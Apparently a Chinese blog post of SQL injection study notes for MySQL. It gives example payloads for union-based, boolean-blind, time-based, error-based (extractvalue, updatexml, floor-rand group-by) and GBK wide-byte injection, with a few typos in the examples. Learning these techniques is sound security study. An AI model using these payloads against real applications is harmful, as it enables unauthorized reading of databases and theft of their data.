sql注入基础知识

  • database() 当前数据库名

  • 单行注释--(空格) 在url栏中 +会被解释成空格==>--+

  • order by (n) 对查询结果的第n列进行排序,可以用来判断字段个数

  • 联合查询(列数必须相等).select * from users where id =’-1’union select 1,2,3 ----左边查询没结果(没有这个id),右边结果1,2,3

  • 连接字符串
    concat 普通拼接
    concat_ws(’~’,1,2) 第一位是连接符
    group_concat(1~2)

  • information_schema
    简单的信息数据库
    里面都是视图,不是表,

    schemata ==>数据库信息
    schema_name 数据库名称

    tables ==>数据库和表的关系
    table_name 表名

    columns ==>表和列的关系
    column_name 列名

length(database())= 数据库名长度

left(database(),1)=’ ’ 爆破数据库名

  • 联合注入
select * from admin where id=1 union select 1,2,3,4 form goods;
select * from student where id=1 and exists(select usetname from admin);
  • 布尔盲注
 length(database())=1
?id=1 and ascii(substr(database(),1,1))>3 –+
length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>1--+
表名总长度
ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1
利用ASCII爆破表名
  • 时间盲注
if(payload,sleep(5),1)
  • 报错注入

    • xpath语法错误

      extractvalue()

      语法:extractvalue(目标xml文档,Xpath_string)

      利用第二个参数不满足格式时会报错,返回我们写入的非法格式内容,
      ?id='and(select extractvalue("1",concat('~',(select语句))))

      updatexml()

      语法:updatexml(目标xml文档,xpath_string,new_value)

      作用:用来改变文档中符合条件的节点的值

      利用方式和extractvalue类似
      ?id='and(select updatexml("1",concat('~',(select语句)),"1"))

    • concat+rand()+group_by()导致主键重复

      concat: 连接字符串功能
      floor: 取**float**的整数值(向下取整)
      rand: 取0~1之间的随机浮点值
      group by: 根据一个或多个列对结果集进行分组并有排序功能
      floor(rand(0)*2): 随机产生0或1
      

      ?id='union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

  • 宽字节注入

    在提交?id=1'时,发现运行的SQL语句为select * from user where id ='1\' #',对单引号进行了转义

    宽字节注入就是利用mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个字符的ASCII需要大于128).

    所以我们提交id=1%df' #,运行的SQL语句就变为了select * from user where id ='1運'#'

    这是因为将%df和%5c解码成了一个汉字"运"(\的编码为5c),从而失去了转义的作用,就可以进行联合注入了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

伍_玖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值